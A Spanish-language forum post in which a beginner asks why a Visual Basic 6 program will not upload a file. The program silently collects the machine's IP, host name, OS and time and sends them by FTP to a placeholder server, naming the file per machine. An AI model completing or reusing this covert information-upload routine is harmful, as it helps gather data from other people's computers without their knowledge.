soy nuevo en esto del vb pero si he entendio algo pero acerca del ejemplo anterior de subir un archivo prueba.txt a un ftp no me sube nada ni sikierame conecta.......el kodigo k uso es este
Dim ti
--------------------------------------------------------------------------
Private Sub Form_Load()
On Error GoTo error
Form1.Visible = True
ti = 0
Timer1.Interval = 100
error:
End Sub
--------------------------------------------------------------------------
Private Sub Command1_Click()
On Error GoTo error
ti = ti + 1
Label1.Caption = ti
If ti = 10 Then
Open "prueba.txt" For Output As #1
Print #1, "ip del host . . . . . :", Winsock1.LocalIP
Print #1, "host. . . . . . . . . :", Winsock1.LocalHostName
Print #1, "plataforma. . . . . . :", SysInfo1.OSPlatform
Print #1, "fecha . . . . . . . . :", Date
Print #1, "hora. . . . . . . . . :", Time
Close #1
Inet1.URL = "ftp://MiFtp.es"
Inet1.UserName = "ElUsuario"
Inet1.Password = "ElPass"
inet1.execute , "put c:\prueba.txt /prueba" & winsock1.localhostname & ".txt" 'para que sea diferente al ejecutarlo de diferente makina
End If
error:
End Sub
--------------------------------------------------------------------------
Private Sub Timer1_Timer()
On Error GoTo error
Call Command1_Click
error:
End Sub
ahme olvidava ahi pongo un boton de command , un control timer y un label nada mas verdad o me falta alguno ?????
Haber si me dan una manito graxias
Mostrar Mensajes
